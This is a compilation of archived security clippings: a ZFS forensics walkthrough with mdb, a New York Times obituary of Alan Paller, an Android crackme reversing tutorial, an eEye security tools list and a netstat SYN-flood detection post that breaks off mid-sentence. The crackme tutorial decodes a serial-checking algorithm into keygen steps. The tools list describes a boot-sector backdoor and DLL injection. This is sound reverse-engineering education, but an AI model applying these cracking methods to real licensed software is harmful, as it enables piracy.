        14c uint16_t mze_pad = 0
        14e char [50] mze_name = [ "SA_ATTRS" ]
    }
    > **.** ::print -a -t zfs`mzap_ent_phys_t
    180 mzap_ent_phys_t {
        180 uint64_t mze_value = 0x3
        188 uint32_t mze_cd = 0
        18c uint16_t mze_pad = 0
        18e char [50] mze_name = [ "DELETE_QUEUE" ]
    }
    > **.** ::print -a -t zfs`mzap_ent_phys_t
    1c0 mzap_ent_phys_t {
        1c0 uint64_t mze_value = 0x4
        1c8 uint32_t mze_cd = 0
        1cc uint16_t mze_pad = 0
        1ce char [50] mze_name = [ "ROOT" ]
    }
    > $q
    #
    
[/code]

The root directory for the file system is object id 4 \(`mze_value` from
above**.** This is the 5th entry \(starts at 0\) in the array of
`dnode_phys_t` for the file system**.** Let's take a look.

[code]

    > ::status
    debugging file '/tmp/dnodes' (object file)
    > 4*200::print -a -t zfs`dnode_phys_t
    800 dnode_phys_t {
        800 uint8_t dn_type = 0x14  <-- DMU_OT_DIRECTORY_CONTENTS
        ..**.**
        840 blkptr_t [1] dn_blkptr = [
            840 blkptr_t {
                840 dva_t [3] blk_dva = [
                    840 dva_t {
                        840 uint64_t [2] dva_word = [ 0x1, 0x2c3 ]
                    },
                    850 dva_t {
                        850 uint64_t [2] dva_word = [ 0x1, 0x90c3 ]
                    },
                    860 dva_t {
                        860 uint64_t [2] dva_word = [ 0, 0 ]
                    },
                ]
    ..**.**
    
[/code]

Directories are ZAP objects**.** We'll dump the `blkptr_t`, decompress if
necessary, and find the `words` file that we copied into the file system at
the beginning of this post**.**

[code]

    > 840::blkptr
    DVA[0]=<0:58600:200>
    DVA[1]=<0:1218600:200>
    [L0 DIRECTORY_CONTENTS] FLETCHER_4 OFF LE contiguous unique double
    size=200L/200P birth=11L/11P fill=1
    cksum=27626ee8e:109d3b9097a:395d35f5c237:8703c96b7bd4c
    > $q
    #
    
[/code]

Notice that compression is turned off, and there are no indirect blocks
\("`L0`"\)**.**

[code]

    # mdb /var/tmp/zfsfile
    > 400000+58600::print -a -t zfs`mzap_phys_t
    458600 mzap_phys_t {
        458600 uint64_t mz_block_type = 0x8000000000000003
        458608 uint64_t mz_salt = 0x16d68999
        458610 uint64_t mz_normflags = 0
        458618 uint64_t [5] mz_pad = [ 0, 0, 0, 0, 0 ]
        458640 mzap_ent_phys_t [1] mz_chunk = [
            458640 mzap_ent_phys_t {
                458640 uint64_t mze_value = 0x8000000000000008
                458648 uint32_t mze_cd = 0
                45864c uint16_t mze_pad = 0
                45864e char [50] mze_name = [ "foo" ]
            },
        ]
    }
    > **.** ::print -a -t zfs`mzap_ent_phys_t
    458680 mzap_ent_phys_t {
        458680 uint64_t mze_value = 0x8000000000000009
        458688 uint32_t mze_cd = 0
        45868c uint16_t mze_pad = 0
        45868e char [50] mze_name = [ "words" ]
    }
    > $q
    #
    
[/code]

The "words" file is at object id 9**.** Let's look at that `dnode_phys_t`.

[code]

    # mdb /tmp/dnodes
    > 9*200::print -a -t zfs`dnode_phys_t
    1200 dnode_phys_t {
        1200 uint8_t dn_type = 0x13  <-- DMU_OT_PLAIN_FILE_CONTENTS
        ..**.**
        1240 blkptr_t [1] dn_blkptr = [
            1240 blkptr_t {
                1240 dva_t [3] blk_dva = [
                    1240 dva_t {
                        1240 uint64_t [2] dva_word = [ 0x2, 0x27f ]
                    },
                    1250 dva_t {
                        1250 uint64_t [2] dva_word = [ 0x2, 0x907f ]
                    },
                    1260 dva_t {
                        1260 uint64_t [2] dva_word = [ 0, 0 ]
                    },
                ]
         ..**.**
    
[/code]

Let's look at the `blkptr_t`**.**

[code]

    > 1240::blkptr
    DVA[0]=<0:4fe00:400>
    DVA[1]=<0:120fe00:400>
    [L1 PLAIN_FILE_CONTENTS] FLETCHER_4 LZJB LE contiguous unique double
    size=4000L/400P birth=9L/9P fill=2
    cksum=5d1e925d95:3ed351070323:16995992c8e96c:5b9701a2a4ef414
    > $q
    #
    
[/code]

This is a single indirect block \(`L1` in the above output**.** This makes
sense as the size of the words file is ~256K**.** We'll decompress and look at
the resulting `blkptr_t`s**.**

[code]

    # ./zuncompress -p 400 -l 4000 -o 4fe00 /var/tmp/zfsfile > /tmp/l1_file
    # mdb /tmp/l1_file
    > 0::blkptr
    DVA[0]=<0:fe00:20000>
    [L0 PLAIN_FILE_CONTENTS] FLETCHER_4 OFF LE contiguous unique single
    size=20000L/20000P birth=9L/9P fill=1
    cksum=2f6c9bcce37c:bd82a253b632bb1:acb0037ee619745c:5e7c6fc8adcedccd
    > 80::blkptr
    DVA[0]=<0:2fe00:20000>
    [L0 PLAIN_FILE_CONTENTS] FLETCHER_4 OFF LE contiguous unique single
    size=20000L/20000P birth=9L/9P fill=1
    cksum=1bae53745c3f:9dc2421d31452d3:658d66823cf4fb0:11c158edbbfcc0f3
    > 100::blkptr
    <hole>
    > $q
    #
    
[/code]

Now we'll go to the location specified by these block pointers to get our
data**.**

[code]

    # mdb /var/tmp/zfsfile
    > 400000+fe00,20000/c
    0x40fe00:       10th
                    1st
                    2nd
                    3rd
                    4th
                    5th
                    6th
                    7th
                    8th
                    9th
                    a
                    AAA
                    AAAS
                    Aarhus
                    Aaron
                    AAU
                    ABA
                    Ababa
                    aback
                ..**.**
    
[/code]

And there is the contents of the first 128KB of the file**.** The remainder of
the file is at the block specifed by the `blkptr_t` at offset 80 in the
`::blkptr` output**.**

If this were binary, it is simple enough to use `dd(1M)`, seek to the correct
location on the device, and dump from there**.** For instance,

[code]

    > (400000+fe00)%200=E
                    8319            
    > 20000%200=E
                    256             
    # dd if=/var/tmp/zfsfile iseek=8319 bs=512 count=256
    10th
    1st
    2nd
    3rd
    4th
    5th
    6th
    7th
    8th
    9th
    a
    AAA
    AAAS
    ..**.**
    
[/code]

That's a lot of work**.** Is there a way to just "see" all of the
information**?** Yes, it's called zdb\(1M\) **.** But `zdb` is not interative,
and it does not work with destroyed pools \(or pools that won't import\)**.**
Also, I find that using mdb this way forces you to understand the on-disk
format**.** For me, much preferable to having it all done for me**.**

I mentioned at the beginning of this post that it will only work on illumos-
based systems, i.e., systems with `mdb`**.** I cannot include Solaris 11 or
newer because there is no way to build mdb without source code**.** But what
if you are using ZFS on Linux**?**

You could upload your devices \(or files\) as files to manta , along with the
modified `mdb`, the `zfs**.** so` and `rawzfs**.** so` modules, and the
`zuncompress` program**.** Then you use `mlogin` to log into the manta
instance and try from there**.** I've included built copies of mdb, the
modules, and zuncompress in the github repo**.** Note that I have not yet
tried this, but it will likely be in a blog post in the next week or so**.**

Have fun\!

Share:

****

# Stealing Keys from PCs using a Radio: Cheap Electromagnetic Attacks on
Windowed Exponentiation \(extended version\)

**Created:**| _6/22/2015 10:54:21 AM_  
---|---  
**Updated:**| _6/22/2015 10:55:11 AM_  
**Author:**| __  
**Tags:**| _crypto software defined radio_  
  
<img src='img/radioexp.pdf' />

# Alan Paller, a Mover on Cybersecurity Threat, Is Dead at 76 - The New York
Times

**Created:**| _4/2/2023 8:18:09 PM_  
---|---  
**Updated:**| _4/2/2023 8:18:09 PM_  
**Author:**| __  
**Tags:**| __  
  

  

# Alan Paller, a Mover on Cybersecurity Threat, Is Dead at 76

He made it his mission to find, recruit and develop the next generation of
digital warriors to defend the nation against an onslaught of cyberattacks.

<img
src='img/merlin_66227921_23ee5a87-a60f-4b3c-a083-ca2ec8e75399-mobileMasterAt3x.jpg'
width='576' height='411' />

Alan Paller at his home office in Bethesda, Md., in 2014. He believed that the
future of the nation relied on a pipeline of trained professionals who could
defend its digital systems from cyberattacks.Steve Ruark for The New York
Times

Nov. 15, 2021

Alan Paller, a cybersecurity pioneer who devoted his life to improving the
digital defense of the United States, died on Nov. 9 at his home in Bethesda,
Md. He was 76.

His death was confirmed by the SANS Institute, the organization he founded in
1988. The cause was not specified.

Mr. Paller \(pronounced PAH-ler\) was a gentle but relentless champion for
cybersecurity education. He believed that the future of the nation relied on a
pipeline of trained professionals who could defend its digital systems from
the growing onslaught of cyberattacks.

“Our ability as a nation to maintain our technological leadership depends on
building a sufficiently large pipeline of talent beyond the people already
going into cyber,” Mr. Paller told The New York Times last year. “A vein of
elite but hidden talent runs through the population.”

Mr. Paller made it his mission to find and train these hidden cyberninjas. His
SANS Institute \(the letters stand for SysAdmin, Audit, Network and
Security\), is the world’s largest cybersecurity research and training
organization, developing more than 40,000 cybersecurity practitioners each
year.

He was also president emeritus of the SANS Technology Institute, a separate
teaching organization that brought together the world’s top cybersecurity
practitioners as instructors to train industry on how to hunt attackers,
conduct forensics and defend critical systems like the power grid, banks, and
water and transportation systems.

  * Thanks for reading The Times.

Subscribe to The Times

In 2013, the institute became an accredited cybersecurity college and graduate
school.

“He wanted to bring professionalization to a field that has an increasingly
crucial role for the world,” said James Lyne, the SANS Institute’s chief
technology officer.

Mr. Paller was among the first to call attention to the cybersecurity work-
force crisis. There are currently 3.5 million unfilled cybersecurity jobs,
according to Cybersecurity Ventures, up from an estimated one million in 2014,
even as the frequency and severity of cyberattacks grow.

Mr. Paller knew that the United States, as a free-market society, was at a
disadvantage in bridging this gap. Unlike Russia and China, which tap
cybercriminals and private sector security professionals to conduct sensitive
operations, the country has no forced conscription policy, does not work with
cybercriminals and must compete with banks and businesses like Google and
Palantir, which pay security engineers handsomely.

## Editors’ Picks

Continue reading the main story

Those Americans who do choose government work often opt to work on offense at
the National Security Agency or Cyber Command; fewer want to do the grueling
work of defense at federal, state and local agencies.

Mr. Paller was determined to stop the bleeding. After taking his graphics
software company, ISSCo, public in 1987, he pivoted to cybersecurity
education. He had studied engineering and computer science at Cornell
University and earned a master of engineering degree from M.I.T. in 1968, but
he was also something of a social engineer and power broker.

In 2009, he persuaded a mutual friend to introduce him to the new deputy
homeland security secretary, Jane Holl Lute, whose responsibilities included
cybersecurity.

“He said, ‘You’re not doing enough about cybersecurity,’” Ms. Lute recalled in
an interview. “I told him, ‘We’ve been here for 10 minutes.’ Then he said:
‘There’s a coming crisis in the cybersecurity work force. Homeland Security
needs to lead the way, and you need to start by getting your own house in
order.’”

Mr. Paller proposed that the Department of Homeland Security set up a
cybersecurity work-force task group. He and Jeff Moss, the founder of the
Black Hat hacking conference, would be co-chairmen.

“And don’t give us more than 60 days to get this done,” Mr. Paller told her.
He had little patience for bureaucracy and regularly castigated bureaucrats in
his widely-read newsletter, News Bites.

The 2012 task force became the first formalized effort to develop a more agile
cyber work force, in part through competitive scholarship programs. \(Mr.
Paller also headed a cybersecurity task force for the Federal Communications
Commission and was a member of the NASA Advisory Council.\)

Mr. Paller’s pet project was the National Cyber Scholarship Foundation, which
hosts hacking challenges for high school and college students. The idea was
based in part on the example of China, which runs regular hacking competitions
to identify its next generation of digital warriors.

“We have no program like that in the United States — nothing,” Mr. Paller told
The Times in 2013. “No one is even teaching this in schools. If we don’t solve
this problem, we’re in trouble.”

His program offers college scholarship funds and free SANS trainings, with the
goal of finding and developing 25,000 new “cyberstars” by 2025. Last year, Mr.
Paller and Mr. Lyne rolled out a new game, CyberStart, which challenges
students to track down cybercriminals, in exchange for $2 million in
scholarship funds.

“People in this industry talk about public-private partnership all day, but I
can only really think of four examples, and two of them came from Alan,” said
Tony Sager, the former chief operating officer of the National Security
Agency’s Information Assurance Directorate, which oversees cyberdefense.

In 2001, Mr. Sager was at the N.S.A., working on Code Red, a computer virus
that had just spread to hundreds of thousands of computers in a single day,
when he received a call from Mr. Paller asking if anyone at the agency was
addressing Code Red.

Mr. Sager was, but couldn’t discuss it. “I told him if I say no, I’m an
idiot,” he recalled, so he replied, “Of course we are, Alan.”

Mr. Paller said he was running a conference in Washington of the best minds in
industry. “He said: Come to this ballroom at 7 p.m. Bring anyone you want.
We’ll have snacks.”

The next thing Mr. Sager knew, he and his colleague Paul Bartock were the only
two government people in a room of 60 or so industry experts armed with code,
data and tools. “They had more talent in that room than the government could
assemble in a day,” Mr. Sager recalled. “We knew we would never operate the
same way again.”

<img
src='img/merlin_16918389_21710a9d-38e2-4752-8d11-7c5911145b67-mobileMasterAt3x.jpg'
width='576' height='384' />

Mr. Paller speaking at a conference on digital security in 2007. His pet
project was the National Cyber Scholarship Foundation, which hosts hacking
challenges for high school and college students. Peter DaSilva/for The New
York Times

As threats proliferated, an exasperated Mr. Sager gathered the N.S.A.’s top
cybersecurity experts into a room at Fort Meade, Md., locked the door and told
them that nobody was to leave until they had all agreed on how to mitigate the
peril.

The problem, as Mr. Sager saw it, was a “fog of more” — his play on the
military concept of the “fog of war.” The cybersecurity industry was awash in
tools, and yet the problem was only getting worse. Mr. Sager’s team drew up a
two-page list of steps that they felt should be taken immediately and sent it
to senior leaders at the Pentagon.

“It basically said, ‘If you don’t know where to start, start here,’” Mr. Sager
said.

Somehow — Mr. Sager still does not know how — Mr. Paller got his hands on the
list, called up Mr. Sager and started hatching a plan to expand and update the
list in line with current threats and rebrand it — as the Computer Security
Controls: prioritized and actionable steps of the very first things
organizations needed to do to stop cyberthreats.

He then lured Mr. Sager and Ms. Lute to run a nonprofit, now called the Center
for Internet Security, to oversee the project.

Soon the controls were hanging in boardrooms; in 2016, Kamala Harris, then the
attorney general of California, warned businesses in the state that failure to
comply with the controls would make them potentially negligent in the eyes of
a 2004 California law.

Alan Terry Paller was born on Sept. 17, 1945, in Indianapolis, to Benjamin and
Ruth \(Pearl\) Paller. His father was an engineer, his mother an English
teacher.

He is survived by his wife, Marsha Mann Paller, whom he married in 1968; two
daughters, Brooke Paller and Channing Paller; a sister, Joan Bines; and two
grandsons.

Mr. Paller pushed to get more women into cybersecurity, and regularly donated
to women’s causes. When Ms. Lute told him that her daughter’s short-track
speed skating club would shut down because it had no funds, he became its
biggest financial sponsor.

The club has since won four consecutive national championships. Of the
12-person World Cup team, five hail from the tiny club that Mr. Paller
supported.

“He had 100 great ideas before breakfast,” Mr. Sager said of Mr. Paller. “Of
those, 60 would turn out to be too expensive or impractical, but his batting
average would have gotten him into the Hall of Fame.”

We use cookies and similar methods to recognize visitors and remember their
preferences. We also use them to measure ad campaign effectiveness, target ads
and analyze site traffic. To learn more about these methods, including how to
disable them, view our Cookie Policy.Starting on July 20, 2020 we will show
you ads we think are relevant to your interests, based on the kinds of content
you access in our Services. You can object. For more info, see our privacy
policy.By tapping ‘accept,’ you consent to the use of these methods by us and
third parties. You can always change your tracker preferences by visiting our
Cookie Policy.

# Android Reverse Engineering - A Kick Start | www.SecurityXploded.com
**Created:**| _3/9/2011 11:30:12 AM_  
---|---  
**Updated:**| _3/9/2011 11:30:23 AM_  
**Author:**| __  
**Tags:**| _reversing List android_  
  
Android Reverse Engineering - A Kick Start  
---  
**Author:** **Dhanesh**  
See Also  
Research Article: 'Password Secrets of Popular Windows Applications'  
IMPasswordDecryptor: Instant Messenger Password Recovery Tool  
Research Article: 'Exposing the Password Secrets of PaltalkScene'  
Research article on 'Exposing the Secret of Decrypting Network Passwords'  
Research Article on 'Exposing the Secrets of Internet Explorer'  
Research Article on 'Exposing the Secrets of Google Chrome'  
FirePasswordViewer: GUI version of FirePassword to recover Firefox login
secrets.  
FireMaster: The Firefox master password recovery tool.  
Exposing the covert way to find the reference count of DLL.  
Watch your file shares from intruders using NetShareMonitor  
Contents  
  * Setting up the Ground
  * Getting Started with the Game
  * Real Android Reversing
  * Decoding the Algorithm
  * Final Verification of Reversing
  * Conclusion

  
Setting up the Ground  
Well, it seems people are getting crazy about **Android** platform\(everyone
is trying to buy an Android phone\!\). I don�t have an Android cell phone but,
lets see if I can get my hands dirty with this Linux+java clean room
engineered platform. To begin our journey we need Android SDK, a target to
test with and the necessary tools. You can download the necessary file from
these locations: Android SDK: http://developer.Android.com/sdk/index.html
Deurus Android crackme 03: http://crackmes.de/users/deurus/android\_crackme03/
Smali and baksmali: http://code.google.com/p/smali/ Dex2jar:
http://code.google.com/p/dex2jar/ Java decompiler:
http://java.decompiler.free.fr/ Download and install Android SDK, SDK
platform\(latest is 2.2 at the time of writing\), necessary Java packages and
rest of the tools. Create a virtual device from SDK menu and start emulation.
Within few minutes you can see the emulator booting up and showing the phone
screen. Well, thats it\! we have our emulator up and running.  
Getting Started with the Game  
Now we need to install the software\(crackme, its legal\!\) to the emulator.
For that you may have to get acquainted with Android debug bridge\(adb\).
Installing a apk file is pretty simple, all you have to do is to run two
commands from Android SDK directory/tools.  
  
<img src='img/Temp2_795.jpg' width='550' height='227' alt='android revering'
/>  
After the installation you can see the crackme icon from application menu.  
<img src='img/Temp2_797.jpg' width='550' height='388' />  
Now run the crackme by clicking on it. If everything went as expected you will
see the crackme application on the screen.  
<img src='img/Temp2_799.jpg' width='550' height='388' />  
Now we will play with it, pressing check button with no inputs pops a message
'Min 4 chars', and with a proper name it pops up 'Bad boy'. We have to
remember these strings because we will be using them as our search keys when
we disassemble the apk\(actually dex\) files. Also note that we have two
hardware ids and we need to find out what those exactly means.  
Real Android Reversing  
As our crackme is up and running in emulator, we now move onto reversing it.
If you have read apk file format, you can visualize it as a extended JAR file
which essentially is a zip file. Now you can change the crackme file name
from**Crackme03.apk** to**Crackme03.zip** and decompress it to any folder.  
<img src='img/Temp2_796.jpg' width='550' height='245' />  
Now the interesting file for us is classes.dex, which contains the compiled vm
codes. We are going to disassemble the dex file withbaksmali. Commands are
pretty simple as you can see from screen shots.  
<img src='img/Temp2_798.jpg' width='550' height='247' />  
If everything worked fine, we will have a folder structure similar to Java
packages. Interesting .smali files are located at
'**\com\example\helloandroid'**. Open all the .smali files into your favorite
text editor\(I use Notepad++\). If you have never done anything related to
reverse engineering/esoteric programming/assembly\(IL\) programming, you will
probably think: WTF\!. Relax. We have just opened a disassembled dex file.
Now, if you are thinking how on earth someone can find the correct location of
checking function, I hope you remember those pop up strings I told earlier.
Yeah,**'Min 4 chars'** and '**Bad boy'**. Now we will use those strings as our
search keys. Searching �Min 4 chars� in all the opened .smali files, we will
find a hit in HelloAndroid$2.smali line 130.  
<img src='img/Temp2_794.jpg' width='550' height='218' />  
Our aim is to understand the serial checking function and write a keygen for
it. For that we have to know all the dalvik opcodes that are used here. You
can visit this page to understand the opcodes and after that you can convert
disassembled code to much higher language constructs. I will provide a brief
code snippet which actually implements the algorithm. Two hardware ids used
are IMEI and sim serial number.  
01 //Read name from text box  
02 const v23, 0x7f050004  
03 invoke-virtual/range \{v22 .. v23\},
Lcom/example/helloandroid/HelloAndroid;->findViewById\(I\)Landroid/view/View;  
04 move-result-object v9  
05  
06 //Read serial from text box  
07 const v23, 0x7f050006  
08 invoke-virtual/range \{v22 .. v23\},
Lcom/example/helloandroid/HelloAndroid;->findViewById\(I\)Landroid/view/View;  
09 move-result-object v21  
10  
11 //Checking whether the name is of length greate than 4  
12 const/16 v22, 0x4  
13 move v0, v11  
14 move/from16 v1, v22  
15 if-ge v0, v1, :cond\_51  
16  
17 //Popup showing Min 4 chars  
18 const-string v23, "Min 4 chars"  
19 const/16 v24, 0x1  
20 .line 86  
21 invoke-static/range \{v22 .. v24\},
Landroid/widget/Toast;->makeText\(Landroid/content/Context;Ljava/lang/CharSequence;I\)Landroid/widget/Toast;  
22 move-result-object v13  
23 .line 88  
24 .local v13, notificacionToast:Landroid/widget/Toast;  
25 invoke-virtual \{v13\}, Landroid/widget/Toast;->show\(\)V  
26  
27 //There is a little exception trick to make integer string from username  
28 //It converts aaaa to 97979797 which is ascii equivalent  
29 invoke-virtual \{v10, v5\}, Ljava/lang/String;->charAt\(I\)C  
30 move-result v3  
31  
32 //Getting first 5 chars from ascii converted name  
33 const/16 v22, 0x0  
34 const/16 v23, 0x5  
35 move-object v0, v12  
36 move/from16 v1, v22  
37 move/from16 v2, v23  
38 invoke-virtual \{v0, v1, v2\},
Ljava/lang/String;->substring\(II\)Ljava/lang/String;  
39  
40 //Converting it into integer abd xoring with 0x6B016 - Serial part 1  
41 invoke-static \{v12\}, Ljava/lang/Integer;->parseInt\(Ljava/lang/String;\)I  
42 move-result v22  
43 const v23, 0x6b016  
44 xor-int v22, v22, v23  
45  
46 //Getting IMEI from TelephonyManager  
47
//http://developer.Android.com/reference/Android/telephony/TelephonyManager.html  
48 invoke-virtual \{v8\},
Landroid/telephony/TelephonyManager;->getDeviceId\(\)Ljava/lang/String;  
49 move-result-object v6  
50 .line 102  
51 .local v6, imei2:Ljava/lang/String;  
52  
53 //Getting sim serial  
54 invoke-virtual \{v8\},
Landroid/telephony/TelephonyManager;->getSimSerialNumber\(\)Ljava/lang/String;  
55 move-result-object v16  
56 .line 103  
57 .local v16, simsn:Ljava/lang/String;  
58  
59 //Getting first 6 chars from IMEI, and similarly from sim serial
\(IMEI.Substring\(0,6\) will be used as Serial part 3\)  
60 const/16 v22, 0x0  
61 const/16 v23, 0x6  
62 move-object v0, v6  
63 move/from16 v1, v22  
64 move/from16 v2, v23  
65 invoke-virtual \{v0, v1, v2\},
Ljava/lang/String;->substring\(II\)Ljava/lang/String;  
66  
67 //Converting them to integer and xoring - Serial part2  
68 invoke-static/range \{v19 .. v19\},
Ljava/lang/Integer;->parseInt\(Ljava/lang/String;\)I  
69 move-result v22  
70 invoke-static/range \{v20 .. v20\},
Ljava/lang/Integer;->parseInt\(Ljava/lang/String;\)I  
71 move-result v23  
72 xor-int v22, v22, v23  
73  
74 //Making a new StringBuilder object and formatting the string to
part1-part2-part3  
75 new-instance v22, Ljava/lang/StringBuilder;  
76 invoke-static \{v12\},
Ljava/lang/String;->valueOf\(Ljava/lang/Object;\)Ljava/lang/String;  
77 move-result-object v23  
78 invoke-direct/range \{v22 .. v23\},
Ljava/lang/StringBuilder;-><init>\(Ljava/lang/String;\)V  
79 const-string v23, "-"  
80 invoke-virtual/range \{v22 .. v23\},
Ljava/lang/StringBuilder;->append\(Ljava/lang/String;\)Ljava/lang/StringBuilder;  
81 move-result-object v22  
82 invoke-static/range \{v17 .. v18\},
Ljava/lang/String;->valueOf\(J\)Ljava/lang/String;  
83 move-result-object v23  
84 invoke-virtual/range \{v22 .. v23\},
Ljava/lang/StringBuilder;->append\(Ljava/lang/String;\)Ljava/lang/StringBuilder;  
85 move-result-object v22  
86 const-string v23, "-"  
87 invoke-virtual/range \{v22 .. v23\},
Ljava/lang/StringBuilder;->append\(Ljava/lang/String;\)Ljava/lang/StringBuilder;  
88 move-result-object v22  
89 move-object/from16 v0, v22  
90 move-object/from16 v1, v19  
91 invoke-virtual \{v0, v1\},
Ljava/lang/StringBuilder;->append\(Ljava/lang/String;\)Ljava/lang/StringBuilder;  
92 move-result-object v22  
93  
94 //Checking whether user entered serial and program made serials are equal.  
95 invoke-virtual \{v14, v15\},
Ljava/lang/String;->equals\(Ljava/lang/Object;\)  
As you can see, the algorithm is pretty straight forward. It is using name and
two hardware ids as input and doing some operations on them to make a serial.
We can easily recode it in any programming language we prefer to make it as a
keygen. Anyway, I am not posting any keygen sources as it will spoil the whole
phun\!  
Decoding the Algorithm  
A demonstrative serial calculation routine is given below:  
Name: aaaaa HW ID1: 0000000000000000 HW ID2: 89014103211118510720  
Here are stepwise instructions on generating final serial number  
  * At first 'aaaaa' will be converted to**** '9797979797', from which we will take first 5 letters and convert it into integer 97979
  * This will be xored with 0x6B016 resulting 511661 and this will be first part of serial.
  * For second part, we will take first 6 letters from HW ID1 and HW ID2, convert them to integer and xor, resulting 000000^890141 = 890141.
  * For third part we will use first 6 characters from HW ID1.
  * Formatting with the specified delimiter the serial will become **'511661-890141-000000'**.

  
Final Verification of Reversing  
Now we will put the same magic number into our Crackme application.  
  
<img src='img/Temp2_800.jpg' />  
Bingo\! everything worked as expected. Now, for all those who thinks it is
pretty hard to read all those disassembled instructions and manually
converting them to higher language constructs, there are other options. As
dalvik is based on design of Java, it is also susceptible to decompilation.
There is no decompiler available at this moment, but there is hope.  
  
For now we can use another utility which converts dex files to jar files so
that we can use Java decompilers to see much more abstracted code. From
starting of this blog post you may have noticed the tool dex2jar. Use dex2jar
to convert classes.dex to classes.dex.dex2jar.jar. Open it in a Java
decompiler and you can see much better output than dalvik disassembly. Please
note that**dex2jar** is still in development phase and the output is
meaningless at many places. This should be used only to get a quick
understanding of all the functions.  
Conclusion  
In this introductory article, Dhanesh explains reversing Andriod using the
emulator and all available tools in sequence with pictorial elaborative steps.
It is mainly based to set up your ground for further reversing work on Andriod
Platform.  
Well, thats it\! We have analyzed an Android program and defeated its
protection. Cheerio\!  
See Also  
Research Article: 'Password Secrets of Popular Windows Applications'  
SpyDllRemover: Smart Spyware Analysis & Removal Tool  
IMPasswordDecryptor: Instant Messenger Password Recovery Tool  
Research article on 'Exposing the Secret of Decrypting Network Passwords'  
Research Article on 'Exposing the Secrets of Internet Explorer'  
Research Article on 'Exposing the Secrets of Google Chrome'  
FirePasswordViewer: GUI version of FirePassword to recover Firefox login
secrets.  
FireMaster: The Firefox master password recovery tool.  
Exposing the covert way to find the reference count of DLL.  
Watch your file shares from intruders using NetShareMonitor

# reflexil.net

**Created:**| _4/21/2011 10:14:48 AM_  
---|---  
**Updated:**| _4/21/2011 10:14:48 AM_  
**Author:**| __  
**Tags:**| _bookmark reversing .Net awesome_  
  
Overview

Reflexil is an assembly editor and runs as a plug-in for Red Gate's Reflector,
a great tool for .NET developers. Reflexil is using Mono.Cecil, written by Jb
Evain and is able to manipulate IL code and save the modified assemblies to
disk. Reflexil also supports C\#/VB.NET code injection.

# eEye | Antivirus, Antispyware & Vulnerability Management Solutions - Security Research | Tools
**Created:**| _5/9/2009 8:19:43 AM_  
---|---  
**Updated:**| _5/9/2009 8:20:00 AM_  
**Author:**| __  
**Tags:**| _security tools_  
  

Tools

**Sharebot** \- The Sharebot application crawls the Share network, acting as a
node. This allows Sharebot to collect IP addresses and file information in
order to identify who is sharing data.  
\[**More Information**\]  
  
**UFuz3** \- UFuz3 is a binary file fuzzer focused on finding integer overflow
vulnerabilities. This tool can audit any application which loads a binary file
such as Windows Media player, Microsoft office, etc.  
\[**More Information**\]  
  
**eEye Radar** \- Radar is a PoC network analyzer that pinpoints encrypted
communication across the wire using entropic analysis data modelling and
network tuned capture sampling. Are there hidden, encrypted communication
channels on your system phoning home? Would you like to see why using
encryption alone might single you out of a crowd? Are your employees using
encryption channels you do not know about? Requirements and usage notes found
in the documentation.  
\[**More Information**\]  
  
**eEye Binary Diffing Suite \(EBDS\)** \- This suite contains two tools to
help automate the binary diffing process. The suite comes in especially handy
for patch analysis and program update dissection.  
\[**More Information**\]  
  
**BootRoot** \- eEye BootRoot is a project presented at Black Hat USA 2005 by
researchers Derek Soeder and Ryan Permeh, as an exploration of technology that
custom boot sector code can use to subvert the Windows kernel as it loads. The
eEye BootRootKit is a boot sector-based NDIS backdoor that demonstrates the
implementation of this technology.  
\[**More Information**\]  
  
**SysRQ2** \- SysRq is a bootable CD image that allows a user to open a fully
privileged \(SYSTEM\) command prompt on Windows 2000, Windows XP, and Windows
Server 2003 systems by pressing Ctrl+Shift+SysRq at any time after startup. It
was first demonstrated at Black Hat USA 2005 by researchers Derek Soeder and
Ryan Permeh as an example of applied eEye BootRoot technology. Use the "create
CD from ISO image" feature of your preferred CD burning software to create a
bootable SysRq CD.  
\[**More Information**\]  
  
**EEREAP** \- The eEye Emulating Return Address Purveyor is a project
presented by eEye researchers Derek Soeder, Ryan Permeh, and Yuji Ukai at
Black Hat USA 2004. It showcases advanced machine code emulation technology
specially designed for discovering return addresses in volatile execution
environments.  
\[**More Information**\]  
  
**TagBruteForcer** \- TagBruteForcer is a client-side security tool designed
to find overflows in applications that can be opened by default within
Internet Explorer. It also includes basic functionality for testing ActiveX
objects or Internet Explorer itself.  
\[**More Information**\]  
  
**Faultmon** \- Faultmon is a simple command-line utility that monitors
exceptions within a process. Whereas a conventional debugger will display an
alert and freeze execution when an exception occurs, Faultmon writes basic
contextual information to stdout and allows execution to continue
automatically \(although it can be made to pause as well\). Faultmon is useful
for getting additional troubleshooting information from another user, and in
conjunction with run-time vulnerability discovery.  
\[**More Information**\]  
  
**Duster** \- Duster is the Dead/Uninitialized Stack Eraser, an injectable DLL
that causes uninitialized stack and heap memory in its host process to be
wiped over with a specific value. It is intended as a crude tool to assist in
the run-time discovery of uninitialized memory usage problems by increasing
the chances that the host process will raise an exception when a value in
uninitialized memory is used. The Duster DLL activates automatically upon
being loaded into a process.  
\[**More Information**\]  
  
**DLLInject** \- DLLInject is a simple command-line utility for loading a DLL
into a target process's address space, by using the CreateRemoteThread API to
execute LoadLibraryA. DLLInject can also list processes and their command
lines, or the DLLs loaded in a particular process.  
\[**More Information**\]

# Command Line Kung Fu: Episode \#41: DoS or No DoS, That Is the Question

**Created:**| _5/27/2009 7:35:53 PM_  
---|---  
**Updated:**| _5/27/2009 7:36:03 PM_  
**Author:**| __  
**Tags:**| _security commandline-kungfu_  
  

### Episode \#41: DoS or No DoS, That Is the Question

Ed muses:  
  
I was talking with a sysadmin buddy a couple of months ago, who told me he
thought his system was under a SYN flood Denial of Service attack, but he
wasn't sure. I asked, "Why aren't you sure?" He told me that he couldn't get
ahold of his network guys to look at the router and IDS. I said, "You don't
need them... just measure it on your end system." "How?" he asked. "Count the
number of half-open connections... Oh, and you should count the number of
full-open connections too, in case you have a connection flood," I answered.
"How?" he repeated.  
  
I told him to use our good friend, netstat. Half-open TCP connections are
generated by a SYN flood when an attacker uses a spoofed source address that
never sends RESETs to tear down half-open connections. Netstat shows such
items in its output as "SYN\_RECEIVED". We can count the number of half-open
connections using:  

[code]

    C:\> netstat -na | find /c "SYN_RECEIVED"
[/code]

I'm simply using the /c option of the find command to look for connections in
that state. Note that find is case sensitive, so I put in all caps for
SYN\_RECEIVED. The find command with /i is case insensitive.  
  
Please note that the number of normal half-open connections for most systems
is relatively small, typically under a hundred. If you see several hundred,
you may have a SYN flood.  
  
Another possibility involves the attacker launching a connection flood, not
just a SYN flood. Here, the bad guy won't spoof anything, but will actually
complete the three-way handshake with your system again and again. Some bot-
